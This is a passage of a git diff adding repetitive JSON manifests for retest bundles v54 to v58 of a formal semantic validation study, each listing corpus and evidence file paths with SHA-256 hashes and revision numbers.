"docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "54.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v53.json", + "snapshot_sha256": "dcf379f52f0c8d8cdc702625cb93ae5bcb34496b9d16569edd3a57e4570288f1" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v54.json b/docs/research/formal-semantic-validation/bundles/retest-v54.json new file mode 100644 index 000000000..aa6027baa --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v54.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v54.json", + "analysis_sha256": "7809900e0b9729c2e84c6965d9a426369eb2b42baf187cae973fce5a63670840", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "55.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v54.json", + "snapshot_sha256": "a68c19ff99c00ff368a68cbcfb90c18290a3e2973a119df094420fe7521dd6af" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v55.json b/docs/research/formal-semantic-validation/bundles/retest-v55.json new file mode 100644 index 000000000..5224c62b6 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v55.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v55.json", + "analysis_sha256": "95bc89f3b56d28ae4cba9f1903baa339c5400978910b9ed78194960f8961c615", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "56.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v55.json", + "snapshot_sha256": "27d633d5a3f360cd6a4c7dea114df926a0abcff1798c6223aedcfb7fc0e81be9" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v56.json b/docs/research/formal-semantic-validation/bundles/retest-v56.json new file mode 100644 index 000000000..dbc324e4f --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v56.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v56.json", + "analysis_sha256": "2b71d39dc7e588df79b43d4407abd548e895ded01d34b63f97411f1f4b7b8f68", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "57.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v56.json", + "snapshot_sha256": "cad306208da8de09226c38af45d2eda459b66d438a1f592fecb025c15d4eb5ef" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v57.json b/docs/research/formal-semantic-validation/bundles/retest-v57.json new file mode 100644 index 000000000..26378039a --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v57.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v57.json", + "analysis_sha256": "c9ed4aef4650ed562bae07776971ded51c3992fcb0fc07d1a7bb8a7712660126", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "58.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v57.json", + "snapshot_sha256": "56e60692331eaa0d1c2fe4e0731e7cb4eaa4787fb045c95f27b9d8fb3e79bd2d" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v58.json b/docs/research/formal-semantic-validation/bundles/retest-v58.json new file mode 100644 index 000000000..683e9e0b4 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v58.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v58.json", + "analysis_sha256": "5c559cfafcb27862fa8b44e1545077a9d889be2b5cf7da53fb60c3e6fe3d3c38", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": 